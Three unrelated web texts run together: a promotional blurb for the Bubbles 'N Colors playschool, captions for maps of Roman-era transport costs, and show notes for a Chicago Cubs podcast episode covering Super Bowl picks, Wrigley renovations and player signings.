The world will become a better place if all of us understood what a kid wanted to convey us. Every expression in his/her eyes could have told us a new tale of achievability. Small gestures and actions would teach us so much more about him/her. Time has come to make a difference. Let us know the kids around us a little better than what we do now. Let’s have a different approach of welcoming them into the world beyond their cradle. Let’s promise ourselves that we will give them the best learning environment that we can. They grow only once. They will never be a kid again. Let us give them Bubbles ’N Colors playschool. Bubbles ’N Colors playschool - Is a unique research based endeavour of some of the most acclaimed, active and responsible academicians from the globe. It brings together leading experts from the field of early-child.......
Class Time : 08:00 am - 12:00 pm Playgroup kids are raised in an environment tailored to be home extension. Since this is their first contact with school, we expect some not wanting to part with their parents. We are aware of this challenge and therefore made adequate provisions for them to feel at home even from their first day in school.

The following maps offer a few examples of how the time and price cost of transport structured the Roman world.
Note how the strong winds and currents in the Bosporus and Dardanelles slow maritime travel into the Black Sea.
Note how the interruption of Atlantic shipping increases transportation costs in the northwestern periphery.
This cartogram shows the speed advantage of sea travel relative to slower land travel on foot and by pack animal.
Note how the absence of open sea routes increases travel time across the Mediterranean basin.
EXP: Note how the discontinuity of the Roman road network in Morocco distorts this network.
Log-normal representation allows us to label nodes near the center but obscures cost increases in the periphery.
This cost distribution map illustrates favorable conditions for economic integration along the Mediterranean coast and low levels of connectivity between the Mediterranean core and the interior of the Iberian peninsula and of Gaul, the Danube basin, central Anatolia and the Egyptian deserts.
This distance cartogram illustrates massive differences in transport costs by sea (concentrated in the innermost center of the map) and by land and river. The clustering of sites near the center prevents labeling.
This is an alternative rendering of the previous map. The labeled sites are among the most remote from Rome in terms of transport price cost.

Andy, Corey and Kurt fire up the mics a few days early so we can enjoy the Super Bowl. Different recording night, same marginal analysis of the Chicago Cubs.
But first, here's what we're drinking:
Kurt - New Belgium Mighty Arrow - (4 on Untapped)
Andy - Half Court India Pale Ale (3 on Untapped)
Corey - Breckenridge Oatmeal Stout, Point 2012 Black Ale, Millstream Brewing Company - Schild Brau Amber
We continue to avoid Cubs talk by giving our Super Bowl predictions.
The Cubs are still held up with their Wrigley renovations by the rooftops and we spend some time talking about that. Admittedly, we are not the experts on this topic. Because of our distance from Wrigley and the fact that outsiders can't make sense of Chicago politics...and our lack of knowledge on legal issues, we engage in a very surface discussion on this topic. If this is a topic that interests you, Bleacher Nation is doing a good job of keeping up with the day-to-day developments and Wrigleyville Nation Podcast is a group of guys that live in Wrigleyville and are season ticket holders.
The Jeff Samardzija trade rumors involved the Blue Jays this week and we look at the status of his 2014 contract. If you are interested in learning more about the arbitration process, I reference this Fangraphs Podcast episode.
The Cubs added two pitchers on Friday, signing Jason Hammel, who will fit into the starting rotation. The Cubs also signed avid fisherman James McDonald.
Spring Training is right around the corner, so we talk a little about the non-roster invitees and some of the minor league players we are looking forward to tracking in Spring Training this year. Corey talked about being interested in how Matt Szczur does this spring. Here is a short interview we did with Matt Szczur a few years ago. Andy talks a little about the 3rd base situation and what we may see play out at "the hot corner" in Spring Training.
We read some Internet Muscle Flexes and pick a winner for this week's caption contest.
